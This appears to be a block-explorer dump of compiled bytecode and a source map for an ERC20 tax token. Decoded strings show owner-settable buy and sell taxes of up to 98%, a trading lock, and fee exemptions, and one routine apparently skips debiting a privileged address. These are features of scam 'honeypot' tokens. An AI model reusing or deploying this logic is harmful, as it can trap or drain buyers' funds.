8060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611641565b600c541580156114ee5750600d54155b156114f557565b600c8054600e55600d8054600f555f9182905555565b5f805f805f8061151a8761166d565b9550955095509550955095506115516115338a886116c2565b6001600160a01b038b165f908152600260205260409020549061140d565b6001600160a01b03808b165f9081526002602052604080822093909355908a168152205461157f90866116e7565b6001600160a01b0389165f908152600260205260409020556115a081611745565b6115aa848361178b565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115ef91815260200190565b60405180910390a3505050505050505050565b6006545f908190670de0b6b3a764000061161c828261149d565b82101561163857505060065492670de0b6b3a764000092509050565b90939092509050565b5f81836116615760405162461bcd60e51b815260040161054091906118cb565b505f61123c8486611c00565b5f805f805f805f805f6116858a600c54600d546117af565b9250925092505f61169461147c565b90505f805f6116a58e878787611801565b919e509c509a509598509396509194505050505091939550919395565b6011545f906001600160a01b038481169116146116df578161125b565b505f92915050565b5f806116f38385611b6b565b90508381101561125b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610540565b5f61174e61147c565b90505f61175b838361184d565b305f9081526002602052604090205490915061177790826116e7565b305f90815260026020526040902055505050565b600654611798908361140d565b6006556007546117a890826116e7565b6007555050565b5f8080806117c860646117c2898961184d565b9061149d565b90505f6117da60646117c28a8961184d565b90505f6117f1826117eb8b8661140d565b9061140d565b9992985090965090945050505050565b5f80808061180f888661184d565b90505f61181c888761184d565b90505f611829888861184d565b90505f61183a826117eb868661140d565b939b939a50919850919650505050505050565b5f825f0361185c57505f610489565b5f6118678385611c1f565b9050826118748583611c00565b1461125b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610540565b5f6020808352835180828501525f5b818110156118f6578581018301518582016040015282016118da565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461192a575f80fd5b50565b5f806040838503121561193e575f80fd5b823561194981611916565b946020939093013593505050565b5f805f60608486031215611969575f80fd5b833561197481611916565b9250602084013561198481611916565b929592945050506040919091013590565b5f602082840312156119a5575f80fd5b813561125b81611916565b5f602082840312156119c0575f80fd5b5035919050565b5f805f80608085870312156119da575f80fd5b5050823594602084013594506040840135936060013592509050565b5f805f60408486031215611a08575f80fd5b833567ffffffffffffffff80821115611a1f575f80fd5b818601915086601f830112611a32575f80fd5b813581811115611a40575f80fd5b8760208260051b8501011115611a54575f80fd5b602092830195509350508401358015158114611a6e575f80fd5b809150509250925092565b5f8060408385031215611a8a575f80fd5b8235611a9581611916565b91506020830135611aa581611916565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b5f60018201611b1e57611b1e611af9565b5060010190565b5f60208284031215611b35575f80fd5b815161125b81611916565b5f805f60608486031215611b52575f80fd5b8351925060208401519150604084015190509250925092565b8082018082111561048957610489611af9565b8181038181111561048957610489611af9565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015611bdf5784516001600160a01b031683529383019391830191600101611bba565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611c1a57634e487b7160e01b5f52601260045260245ffd5b500490565b808202811582820484141761048957610489611af956fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c16eac3d8048225654cab63d372864029d6377fded49d0a5c526f8a73d68e68864736f6c63430008140033

Deployed Bytecode

0x60806040526004361061014a575f3560e01c80637d1db4a5116100b3578063a9059cbb1161006d578063a9059cbb146103b1578063c492f046146103d0578063dd62ed3e146103ef578063ea1644d514610433578063ed99530714610452578063f2fde38b1461045a575f80fd5b80637d1db4a5146102fd5780638da5cb5b146103125780638f9a55c01461032e57806395d89b411461034357806398a5c31514610373578063a2a957bb14610392575f80fd5b8063313ce56711610104578063313ce5671461025b57806349bd5a5e1461027657806370a0823114610295578063715018a6146102b457806374010ece146102ca578063751039fc146102e9575f80fd5b806306fdde0314610155578063095ea7b31461019d5780631694505e146101cc57806318160ddd1461020357806323b872dd146102275780632fd689e314610246575f80fd5b3661015157005b5f80fd5b348015610160575f80fd5b5060408051808201909152600e81526d088dee4d64098dee4c84086c2e6d60931b60208201525b60405161019491906118cb565b60405180910390f35b3480156101a8575f80fd5b506101bc6101b736600461192d565b610479565b6040519015158152602001610194565b3480156101d7575f80fd5b506012546101eb906001600160a01b031681565b6040516001600160a01b039091168152602001610194565b34801561020e575f80fd5b50670de0b6b3a76400005b604051908152602001610194565b348015610232575f80fd5b506101bc610241366004611957565b61048f565b348015610251575f80fd5b5061021960165481565b348015610266575f80fd5b5060405160098152602001610194565b348015610281575f80fd5b506013546101eb906001600160a01b031681565b3480156102a0575f80fd5b506102196102af366004611995565b6104f6565b3480156102bf575f80fd5b506102c8610517565b005b3480156102d5575f80fd5b506102c86102e43660046119b0565b610591565b3480156102f4575f80fd5b506102c86105bf565b348015610308575f80fd5b5061021960145481565b34801561031d575f80fd5b505f546001600160a01b03166101eb565b348015610339575f80fd5b5061021960155481565b34801561034e575f80fd5b506040805180820190915260088152670889ea4968682a6960c31b6020820152610187565b34801561037e575f80fd5b506102c861038d3660046119b0565b6105fe565b34801561039d575f80fd5b506102c86103ac3660046119c7565b61062c565b3480156103bc575f80fd5b506101bc6103cb36600461192d565b6107e1565b3480156103db575f80fd5b506102c86103ea3660046119f6565b6107ed565b3480156103fa575f80fd5b50610219610409366004611a79565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b34801561043e575f80fd5b506102c861044d3660046119b0565b61088a565b6102c86108b8565b348015610465575f80fd5b506102c8610474366004611995565b610b37565b5f610485338484610c1e565b5060015b92915050565b5f61049b848484610d41565b6104ec84336104e785604051806060016040528060288152602001611c37602891396001600160a01b038a165f908152600460209081526040808320338452909152902054919061120d565b610c1e565b5060019392505050565b6001600160a01b0381165f9081526002602052604081205461048990611245565b5f546001600160a01b031633146105495760405162461bcd60e51b815260040161054090611ab0565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105ba5760405162461bcd60e51b815260040161054090611ab0565b601455565b5f546001600160a01b031633146105e85760405162461bcd60e51b815260040161054090611ab0565b5f19601481905560155560016009819055600b55565b5f546001600160a01b031633146106275760405162461bcd60e51b815260040161054090611ab0565b601655565b5f546001600160a01b031633146106555760405162461bcd60e51b815260040161054090611ab0565b60048411156106b45760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e20302520616044820152646e6420342560d81b6064820152608401610540565b60628211156107105760405162461bcd60e51b815260206004820152602260248201527f42757920746178206d757374206265206265747765656e20302520616e642039604482015261382560f01b6064820152608401610540565b60048311156107705760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e20302520604482015265616e6420342560d01b6064820152608401610540565b60628111156107cd5760405162461bcd60e51b815260206004820152602360248201527f53656c6c20746178206d757374206265206265747765656e20302520616e642060448201526239382560e81b6064820152608401610540565b600893909355600a91909155600955600b55565b5f610485338484610d41565b5f546001600160a01b031633146108165760405162461bcd60e51b815260040161054090611ab0565b5f5b82811015610884578160055f86868581811061083657610836611ae5565b905060200201602081019061084b9190611995565b6001600160a01b0316815260208101919091526040015f20805460ff19169115159190911790558061087c81611b0d565b915050610818565b50505050565b5f546001600160a01b031633146108b35760405162461bcd60e51b815260040161054090611ab0565b601555565b5f546001600160a01b031633146108e15760405162461bcd60e51b815260040161054090611ab0565b6013805462ff00ff60a01b19166201000160a01b17905560128054737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031990911681179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa15801561095c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109809190611b25565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109cb573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109ef9190611b25565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610a39573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a5d9190611b25565b601380546001600160a01b0319166001600160a01b03928316179055305f818152600460209081526040808320601280548716855292529091205f199055549091169063f305d719903490610ab1816104f6565b6040516001600160e01b031960e086901b1681526001600160a01b03909216600483015260248201525f6044820181905260648201523360848201524260a482015260c40160606040518083038185885af1158015610b12573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108849190611b40565b5f546001600160a01b03163314610b605760405162461bcd60e51b815260040161054090611ab0565b6001600160a01b038116610bc55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610540565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610c805760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610540565b6001600160a01b038216610ce15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610540565b6001600160a01b038381165f8181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610da55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610540565b6001600160a01b038216610e075760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610540565b5f8111610e685760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610540565b6001600160a01b0383165f9081526005602052604090205460ff16158015610ea857506001600160a01b0382165f9081526005602052604090205460ff16155b156110eb57601354600160a01b900460ff16610f40575f546001600160a01b03848116911614610f405760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610540565b601454811115610f925760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610540565b6013546001600160a01b038381169116146110175760155481610fb4846104f6565b610fbe9190611b6b565b106110175760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610540565b5f611021306104f6565b60165460145491925082101590821061103a5760145491505b8080156110515750601354600160a81b900460ff16155b801561106b57506013546001600160a01b03868116911614155b80156110805750601354600160b01b900460ff165b80156110a457506001600160a01b0385165f9081526005602052604090205460ff16155b80156110c857506001600160a01b0384165f9081526005602052604090205460ff16155b156110e8576110d682611262565b4780156110e6576110e6476113d2565b505b50505b6001600160a01b0383165f9081526005602052604090205460019060ff168061112b57506001600160a01b0383165f9081526005602052604090205460ff165b8061115d57506013546001600160a01b0385811691161480159061115d57506013546001600160a01b03848116911614155b1561116957505f611201565b6011546013546001600160a01b039182163191868116911614801561119c57506012546001600160a01b03858116911614155b156111ae57600854600c55600954600d555b6013546001600160a01b0385811691161480156111d957506012546001600160a01b03868116911614155b156111ff57600a546111eb908261140d565b600c55600b546111fb908261140d565b600d555b505b6108848484848461144e565b5f81848411156112305760405162461bcd60e51b815260040161054091906118cb565b505f61123c8486611b7e565b95945050505050565b5f8061124f61147c565b905061125b838261149d565b9392505050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106112a8576112a8611ae5565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112ff573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113239190611b25565b8160018151811061133657611336611ae5565b6001600160a01b03928316602091820292909201015260125461135c9130911684610c1e565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906113949085905f90869030904290600401611b91565b5f604051808303815f87803b1580156113ab575f80fd5b505af11580156113bd573d5f803e3d5ffd5b50506013805460ff60a81b1916905550505050565b6010546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611409573d5f803e3d5ffd5b5050565b5f61125b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061120d565b8061145b5761145b6114de565b61146684848461150b565b8061088457610884600e54600c55600f54600d55565b5f805f611487611602565b9092509050611496828261149d565b9250505090565b5f61125b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611641565b600c541580156114ee5750600d54155b156114f557565b600c8054600e55600d8054600f555f9182905555565b5f805f805f8061151a8761166d565b9550955095509550955095506115516115338a886116c2565b6001600160a01b038b165f908152600260205260409020549061140d565b6001600160a01b03808b165f9081526002602052604080822093909355908a168152205461157f90866116e7565b6001600160a01b0389165f908152600260205260409020556115a081611745565b6115aa848361178b565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115ef91815260200190565b60405180910390a3505050505050505050565b6006545f908190670de0b6b3a764000061161c828261149d565b82101561163857505060065492670de0b6b3a764000092509050565b90939092509050565b5f81836116615760405162461bcd60e51b815260040161054091906118cb565b505f61123c8486611c00565b5f805f805f805f805f6116858a600c54600d546117af565b9250925092505f61169461147c565b90505f805f6116a58e878787611801565b919e509c509a509598509396509194505050505091939550919395565b6011545f906001600160a01b038481169116146116df578161125b565b505f92915050565b5f806116f38385611b6b565b90508381101561125b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610540565b5f61174e61147c565b90505f61175b838361184d565b305f9081526002602052604090205490915061177790826116e7565b305f90815260026020526040902055505050565b600654611798908361140d565b6006556007546117a890826116e7565b6007555050565b5f8080806117c860646117c2898961184d565b9061149d565b90505f6117da60646117c28a8961184d565b90505f6117f1826117eb8b8661140d565b9061140d565b9992985090965090945050505050565b5f80808061180f888661184d565b90505f61181c888761184d565b90505f611829888861184d565b90505f61183a826117eb868661140d565b939b939a50919850919650505050505050565b5f825f0361185c57505f610489565b5f6118678385611c1f565b9050826118748583611c00565b1461125b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610540565b5f6020808352835180828501525f5b818110156118f6578581018301518582016040015282016118da565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461192a575f80fd5b50565b5f806040838503121561193e575f80fd5b823561194981611916565b946020939093013593505050565b5f805f60608486031215611969575f80fd5b833561197481611916565b9250602084013561198481611916565b929592945050506040919091013590565b5f602082840312156119a5575f80fd5b813561125b81611916565b5f602082840312156119c0575f80fd5b5035919050565b5f805f80608085870312156119da575f80fd5b5050823594602084013594506040840135936060013592509050565b5f805f60408486031215611a08575f80fd5b833567ffffffffffffffff80821115611a1f575f80fd5b818601915086601f830112611a32575f80fd5b813581811115611a40575f80fd5b8760208260051b8501011115611a54575f80fd5b602092830195509350508401358015158114611a6e575f80fd5b809150509250925092565b5f8060408385031215611a8a575f80fd5b8235611a9581611916565b91506020830135611aa581611916565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b5f60018201611b1e57611b1e611af9565b5060010190565b5f60208284031215611b35575f80fd5b815161125b81611916565b5f805f60608486031215611b52575f80fd5b8351925060208401519150604084015190509250925092565b8082018082111561048957610489611af9565b8181038181111561048957610489611af9565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015611bdf5784516001600160a01b031683529383019391830191600101611bba565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611c1a57634e487b7160e01b5f52601260045260245ffd5b500490565b808202811582820484141761048957610489611af956fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c16eac3d8048225654cab63d372864029d6377fded49d0a5c526f8a73d68e68864736f6c63430008140033

Deployed Bytecode Sourcemap

4213:13452:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6346:83;;;;;;;;;;-1:-1:-1;6416:5:0;;;;;;;;;;;;-1:-1:-1;;;6416:5:0;;;;6346:83;;;;;;;:::i;:::-;;;;;;;;7278:193;;;;;;;;;;-1:-1:-1;7278:193:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7278:193:0;1023:187:1;5475:41:0;;;;;;;;;;-1:-1:-1;5475:41:0;;;;-1:-1:-1;;;;;5475:41:0;;;;;;-1:-1:-1;;;;;1405:32:1;;;1387:51;;1375:2;1360:18;5475:41:0;1215:229:1;6626:95:0;;;;;;;;;;-1:-1:-1;4767:21:0;6626:95;;;1595:25:1;;;1583:2;1568:18;6626:95:0;1449:177:1;7480:446:0;;;;;;;;;;-1:-1:-1;7480:446:0;;;;;:::i;:::-;;:::i;5796:54::-;;;;;;;;;;;;;;;;6534:83;;;;;;;;;;-1:-1:-1;6534:83:0;;4443:1;2234:36:1;;2222:2;2207:18;6534:83:0;2092:184:1;5523:28:0;;;;;;;;;;-1:-1:-1;5523:28:0;;;;-1:-1:-1;;;;;5523:28:0;;;6730:138;;;;;;;;;;-1:-1:-1;6730:138:0;;;;;:::i;:::-;;:::i;1687:148::-;;;;;;;;;;;;;:::i;:::-;;17184:111;;;;;;;;;;-1:-1:-1;17184:111:0;;;;;:::i;:::-;;:::i;11836:186::-;;;;;;;;;;;;;:::i;5676:52::-;;;;;;;;;;;;;;;;1471:79;;;;;;;;;;-1:-1:-1;1509:7:0;1536:6;-1:-1:-1;;;;;1536:6:0;1471:79;;5735:54;;;;;;;;;;;;;;;;6438:87;;;;;;;;;;-1:-1:-1;6510:7:0;;;;;;;;;;;;-1:-1:-1;;;6510:7:0;;;;6438:87;;17005:139;;;;;;;;;;-1:-1:-1;17005:139:0;;;;;:::i;:::-;;:::i;15617:693::-;;;;;;;;;;-1:-1:-1;15617:693:0;;;;;:::i;:::-;;:::i;6877:199::-;;;;;;;;;;-1:-1:-1;6877:199:0;;;;;:::i;:::-;;:::i;17428:234::-;;;;;;;;;;-1:-1:-1;17428:234:0;;;;;:::i;:::-;;:::i;7085:184::-;;;;;;;;;;-1:-1:-1;7085:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;7234:18:0;;;7202:7;7234:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7085:184;17304:115;;;;;;;;;;-1:-1:-1;17304:115:0;;;;;:::i;:::-;;:::i;16318:632::-;;;:::i;1844:244::-;;;;;;;;;;-1:-1:-1;1844:244:0;;;;;:::i;:::-;;:::i;7278:193::-;7380:4;7402:39;1065:10;7425:7;7434:6;7402:8;:39::i;:::-;-1:-1:-1;7459:4:0;7278:193;;;;;:::o;7480:446::-;7612:4;7629:36;7639:6;7647:9;7658:6;7629:9;:36::i;:::-;7676:220;7699:6;1065:10;7747:138;7803:6;7747:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7747:19:0;;;;;;:11;:19;;;;;;;;1065:10;7747:33;;;;;;;;;;:37;:138::i;:::-;7676:8;:220::i;:::-;-1:-1:-1;7914:4:0;7480:446;;;;;:::o;6730:138::-;-1:-1:-1;;;;;6843:16:0;;6796:7;6843:16;;;:7;:16;;;;;;6823:37;;:19;:37::i;1687:148::-;1599:6;;-1:-1:-1;;;;;1599:6:0;1065:10;1599:22;1591:67;;;;-1:-1:-1;;;1591:67:0;;;;;;;:::i;:::-;;;;;;;;;1794:1:::1;1778:6:::0;;1757:40:::1;::::0;-1:-1:-1;;;;;1778:6:0;;::::1;::::0;1757:40:::1;::::0;1794:1;;1757:40:::1;1825:1;1808:19:::0;;-1:-1:-1;;;;;;1808:19:0::1;::::0;;1687:148::o;17184:111::-;1599:6;;-1:-1:-1;;;;;1599:6:0;1065:10;1599:22;1591:67;;;;-1:-1:-1;;;1591:67:0;;;;;;;:::i;:::-;17261:12:::1;:26:::0;17184:111::o;11836:186::-;1599:6;;-1:-1:-1;;;;;1599:6:0;1065:10;1599:22;1591:67;;;;-1:-1:-1;;;1591:67:0;;;;;;;:::i;:::-;-1:-1:-1;;11888:12:0::1;:29:::0;;;11928:14:::1;:31:::0;11985:1:::1;11970:12;:16:::0;;;-1:-1:-1;11997:17:0;11836:186::o;17005:139::-;1599:6;;-1:-1:-1;;;;;1599:6:0;1065:10;1599:22;1591:67;;;;-1:-1:-1;;;1591:67:0;;;;;;;:::i;:::-;17096:19:::1;:40:::0;17005:139::o;15617:693::-;1599:6;;-1:-1:-1;;;;;1599:6:0;1065:10;1599:22;1591:67;;;;-1:-1:-1;;;1591:67:0;;;;;;;:::i;:::-;15798:1:::1;15781:13;:18;;15751:90;;;::::0;-1:-1:-1;;;15751:90:0;;5059:2:1;15751:90:0::1;::::0;::::1;5041:21:1::0;5098:2;5078:18;;;5071:30;5137:34;5117:18;;;5110:62;-1:-1:-1;;;5188:18:1;;;5181:35;5233:19;;15751:90:0::1;4857:401:1::0;15751:90:0::1;15895:2;15880:11;:17;;15852:84;;;::::0;-1:-1:-1;;;15852:84:0;;5465:2:1;15852:84:0::1;::::0;::::1;5447:21:1::0;5504:2;5484:18;;;5477:30;5543:34;5523:18;;;5516:62;-1:-1:-1;;;5594:18:1;;;5587:32;5636:19;;15852:84:0::1;5263:398:1::0;15852:84:0::1;15996:1;15978:14;:19;;15947:93;;;::::0;-1:-1:-1;;;15947:93:0;;5868:2:1;15947:93:0::1;::::0;::::1;5850:21:1::0;5907:2;5887:18;;;5880:30;5946:34;5926:18;;;5919:62;-1:-1:-1;;;5997:18:1;;;5990:36;6043:19;;15947:93:0::1;5666:402:1::0;15947:93:0::1;16096:2;16080:12;:18;;16051:87;;;::::0;-1:-1:-1;;;16051:87:0;;6275:2:1;16051:87:0::1;::::0;::::1;6257:21:1::0;6314:2;6294:18;;;6287:30;6353:34;6333:18;;;6326:62;-1:-1:-1;;;6404:18:1;;;6397:33;6447:19;;16051:87:0::1;6073:399:1::0;16051:87:0::1;16151:14;:30:::0;;;;16192:15:::1;:32:::0;;;;16235:12:::1;:26:::0;16272:13:::1;:28:::0;15617:693::o;6877:199::-;6982:4;7004:42;1065:10;7028:9;7039:6;7004:9;:42::i;17428:234::-;1599:6;;-1:-1:-1;;;;;1599:6:0;1065:10;1599:22;1591:67;;;;-1:-1:-1;;;1591:67:0;;;;;;;:::i;:::-;17545:9:::1;17541:114;17560:19:::0;;::::1;17541:114;;;17635:8;17601:18;:31;17620:8;;17629:1;17620:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;17601:31:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;17601:31:0;:42;;-1:-1:-1;;17601:42:0::1;::::0;::::1;;::::0;;;::::1;::::0;;17581:3;::::1;::::0;::::1;:::i;:::-;;;;17541:114;;;;17428:234:::0;;;:::o;17304:115::-;1599:6;;-1:-1:-1;;;;;1599:6:0;1065:10;1599:22;1591:67;;;;-1:-1:-1;;;1591:67:0;;;;;;;:::i;:::-;17381:14:::1;:30:::0;17304:115::o;16318:632::-;1599:6;;-1:-1:-1;;;;;1599:6:0;1065:10;1599:22;1591:67;;;;-1:-1:-1;;;1591:67:0;;;;;;;:::i;:::-;16380:11:::1;:18:::0;;-1:-1:-1;;;;16409:18:0;-1:-1:-1;;;16409:18:0;;;16551:15:::1;:34:::0;;16497:42:::1;-1:-1:-1::0;;;;;;16551:34:0;;::::1;::::0;::::1;::::0;;;16630:26:::1;::::0;;-1:-1:-1;;;16630:26:0;;;;16497:42;;16630:24:::1;::::0;:26:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;16497:42;16630:26:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;16612:70:0::1;;16691:4;16698:16;-1:-1:-1::0;;;;;16698:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;16612:110;::::0;-1:-1:-1;;;;;;16612:110:0::1;::::0;;;;;;-1:-1:-1;;;;;7367:15:1;;;16612:110:0::1;::::0;::::1;7349:34:1::0;7419:15;;7399:18;;;7392:43;7284:18;;16612:110:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;16596:13;:126:::0;;-1:-1:-1;;;;;;16596:126:0::1;-1:-1:-1::0;;;;;16596:126:0;;::::1;;::::0;;16763:4:::1;-1:-1:-1::0;16743:26:0;;;:11:::1;:26;::::0;;;;;;;16778:15:::1;::::0;;;::::1;16743:52:::0;;;;;;;-1:-1:-1;;16743:66:0;;16822:15;;;::::1;::::0;:31:::1;::::0;16861:9:::1;::::0;16886:24:::1;16763:4:::0;16886:9:::1;:24::i;:::-;16822:120;::::0;-1:-1:-1;;;;;;16822:120:0::1;::::0;;;;;;-1:-1:-1;;;;;7805:15:1;;;16822:120:0::1;::::0;::::1;7787:34:1::0;7837:18;;;7830:34;16911:1:0::1;7880:18:1::0;;;7873:34;;;7923:18;;;7916:34;16915:10:0::1;7966:19:1::0;;;7959:44;16926:15:0::1;8019:19:1::0;;;8012:35;7721:19;;16822:120:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;1844:244::-:0;1599:6;;-1:-1:-1;;;;;1599:6:0;1065:10;1599:22;1591:67;;;;-1:-1:-1;;;1591:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;1933:22:0;::::1;1925:73;;;::::0;-1:-1:-1;;;1925:73:0;;8571:2:1;1925:73:0::1;::::0;::::1;8553:21:1::0;8610:2;8590:18;;;8583:30;8649:34;8629:18;;;8622:62;-1:-1:-1;;;8700:18:1;;;8693:36;8746:19;;1925:73:0::1;8369:402:1::0;1925:73:0::1;2035:6;::::0;;2014:38:::1;::::0;-1:-1:-1;;;;;2014:38:0;;::::1;::::0;2035:6;::::1;::::0;2014:38:::1;::::0;::::1;2063:6;:17:::0;;-1:-1:-1;;;;;;2063:17:0::1;-1:-1:-1::0;;;;;2063:17:0;;;::::1;::::0;;;::::1;::::0;;1844:244::o;8502:369::-;-1:-1:-1;;;;;8629:19:0;;8621:68;;;;-1:-1:-1;;;8621:68:0;;8978:2:1;8621:68:0;;;8960:21:1;9017:2;8997:18;;;8990:30;9056:34;9036:18;;;9029:62;-1:-1:-1;;;9107:18:1;;;9100:34;9151:19;;8621:68:0;8776:400:1;8621:68:0;-1:-1:-1;;;;;8708:21:0;;8700:68;;;;-1:-1:-1;;;8700:68:0;;9383:2:1;8700:68:0;;;9365:21:1;9422:2;9402:18;;;9395:30;9461:34;9441:18;;;9434:62;-1:-1:-1;;;9512:18:1;;;9505:32;9554:19;;8700:68:0;9181:398:1;8700:68:0;-1:-1:-1;;;;;8779:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8831:32;;1595:25:1;;;8831:32:0;;1568:18:1;8831:32:0;;;;;;;8502:369;;;:::o;8880:2356::-;-1:-1:-1;;;;;9002:18:0;;8994:68;;;;-1:-1:-1;;;8994:68:0;;9786:2:1;8994:68:0;;;9768:21:1;9825:2;9805:18;;;9798:30;9864:34;9844:18;;;9837:62;-1:-1:-1;;;9915:18:1;;;9908:35;9960:19;;8994:68:0;9584:401:1;8994:68:0;-1:-1:-1;;;;;9081:16:0;;9073:64;;;;-1:-1:-1;;;9073:64:0;;10192:2:1;9073:64:0;;;10174:21:1;10231:2;10211:18;;;10204:30;10270:34;10250:18;;;10243:62;-1:-1:-1;;;10321:18:1;;;10314:33;10364:19;;9073:64:0;9990:399:1;9073:64:0;9165:1;9156:6;:10;9148:64;;;;-1:-1:-1;;;9148:64:0;;10596:2:1;9148:64:0;;;10578:21:1;10635:2;10615:18;;;10608:30;10674:34;10654:18;;;10647:62;-1:-1:-1;;;10725:18:1;;;10718:39;10774:19;;9148:64:0;10394:405:1;9148:64:0;-1:-1:-1;;;;;9231:24:0;;;;;;:18;:24;;;;;;;;9230:25;:52;;;;-1:-1:-1;;;;;;9260:22:0;;;;;;:18;:22;;;;;;;;9259:23;9230:52;9226:1199;;;9340:11;;-1:-1:-1;;;9340:11:0;;;;9335:144;;1509:7;1536:6;-1:-1:-1;;;;;9380:15:0;;;1536:6;;9380:15;9372:91;;;;-1:-1:-1;;;9372:91:0;;11006:2:1;9372:91:0;;;10988:21:1;11045:2;11025:18;;;11018:30;11084:34;11064:18;;;11057:62;11155:33;11135:18;;;11128:61;11206:19;;9372:91:0;10804:427:1;9372:91:0;9514:12;;9504:6;:22;;9496